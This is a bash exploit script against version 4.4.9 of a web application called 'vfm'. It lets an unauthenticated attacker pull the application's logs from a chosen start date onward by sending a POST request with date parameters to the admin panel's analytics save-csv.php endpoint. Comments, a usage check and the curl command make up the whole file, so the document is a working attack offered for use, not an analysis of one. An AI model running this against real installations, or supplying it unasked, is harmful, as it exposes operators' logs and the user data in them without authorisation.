#!/usr/bin/env bash

##########################################################
############## UNAUTHENTICATED LOGS DOWNLOAD #############
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an unauthenticated attacker download
# the application logs in case they are active. The
# attacker only needs to know a valid date where there were
# logs to download them from then till today. If the initial
# date does not have logs it skips everything.

# - Parameter $1 is the starting date with format yyyy-mm-dd
# - Parameter $2 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]]; then
  echo "[ USAGE ] :: ./unauth-logs-download.sh <starting date yyyy-mm-dd> <url to root of vfm installation>/"
  exit 1
fi

echo "[ PULLING LOGS :: STARTING ]" 1>&2
curl -X POST \
  -d "logsince=$1" \
  -d "loguntil=3000-12-31" \
  "$2/vfm-admin/admin-panel/view/analytics/save-csv.php" 2>/dev/null
echo "[ PULLING LOGS :: DONE ]" 1>&2